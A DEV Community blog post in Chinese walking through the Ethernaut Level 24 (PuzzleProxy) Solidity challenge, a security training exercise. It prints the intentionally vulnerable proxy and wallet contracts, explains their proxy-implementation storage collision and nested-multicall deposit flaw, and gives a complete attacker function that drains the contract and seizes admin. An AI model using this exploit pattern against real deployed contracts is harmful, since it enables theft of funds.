DEV Community

bin2chen
bin2chen

Posted on

Ethernaut系列-Level 24(PuzzleProxy)

LEVEL 24 (PuzzleProxy):

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;

import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/proxy/UpgradeableProxy.sol";

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;

    constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) public {
        admin = _admin;
    }

    modifier onlyAdmin {
      require(msg.sender == admin, "Caller is not the admin");
      _;
    }

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
        admin = pendingAdmin;
    }

    function upgradeTo(address _newImplementation) external onlyAdmin {
        _upgradeTo(_newImplementation);
    }
}

contract PuzzleWallet {
    using SafeMath for uint256;
    address public owner;
    uint256 public maxBalance;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function init(uint256 _maxBalance) public {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
        owner = msg.sender;
    }

    modifier onlyWhitelisted {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
      require(address(this).balance == 0, "Contract balance is not 0");
      maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
      require(address(this).balance <= maxBalance, "Max balance reached");
      balances[msg.sender] = balances[msg.sender].add(msg.value);
    }

    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
        require(balances[msg.sender] >= value, "Insufficient balance");
        balances[msg.sender] = balances[msg.sender].sub(value);
        (bool success, ) = to.call{ value: value }(data);
        require(success, "Execution failed");
    }

    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        bool depositCalled = false;
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }
            (bool success, ) = address(this).delegatecall(data[i]);
            require(success, "Error while delegating call");
        }
    }
}
Enter fullscreen mode Exit fullscreen mode

通关要求

admin = player

要点

delegatecall的storage冲突问题
(前面几关有涉及,参考第6关)
https://dev.to/bin2chen/ethernautxi-lie-level-6delegate-31gk

解题思路

proxy和impl的storage冲突如下:

slot |   proxy        |   impl
----------------------------------
 0   |  pendingAdmin  |   owner
 1   |  admin         |   maxBalance

Enter fullscreen mode Exit fullscreen mode

所以要修改admin可以设置maxBalance,但setMaxBalance需要合约余额为0(合约开始会是0.001 ether),这样就需要取光合约的余额。
分析下impl的multicall/deposit是有逻辑漏洞,就是可以一次multicall,里包含多个multicall,这些multicall里包含deposit。这样会导致如malticall的mgs.value一次,但会deposit多次,造成一次转账多次使用增加balances

如调用multicall时mgs.value=0.001 ether,传入2个multicall,每个multicall嵌一个deposit,最终balances[msg.sender] = 0.002 ether,但余额只增加0.001 ether
最终变成总合约余额=0.002 ether,我们的balances[player] = 0.002 ether

再执行合约的execute取0.002 ether就可以把余额取光

    function run(address _runAddress) external payable {
      ILevel level = ILevel(_runAddress);
      //proxy和impl的storage位置冲突了,设置pendingAdmin对应的是impl的owner
      level.proposeNewAdmin(address(this));
      level.addToWhitelist(address(this));    
      bytes memory depositData = abi.encodeWithSelector(
                                      bytes4(keccak256("deposit()")));
      bytes memory executeData = abi.encodeWithSelector(
                                      bytes4(keccak256("execute(address,uint256,bytes)")),
                                      address(this),
                                      0.002 ether,
                                      new bytes(0));                                    
      bytes [] memory mutilecallBytes = new bytes[](3); 
      mutilecallBytes[0]=getMuticallData(depositData);
      mutilecallBytes[1]=getMuticallData(depositData);
      mutilecallBytes[2]=getMuticallData(executeData);

      //multicall逻辑漏洞,只验证了同个列表不能有多个deposit,没验证不能multicall,这样可以把deposit放在multicall里
      level.multicall{value:0.001 ether}(mutilecallBytes);
      //proxy和impl的storage位置冲突了,设置maxBalance对应的是proxy的admin
      level.setMaxBalance(uint160(msg.sender));
    }

    function getMuticallData(bytes memory data) private pure returns (bytes memory){
      bytes [] memory mutilecallBytes = new bytes[](1); 
      mutilecallBytes[0]=data;
      bytes memory mutilecallData = abi.encodeWithSelector(
                                      bytes4(keccak256("multicall(bytes[])")),
                                      mutilecallBytes);
      return mutilecallData;
    }
Enter fullscreen mode Exit fullscreen mode

Top comments (0)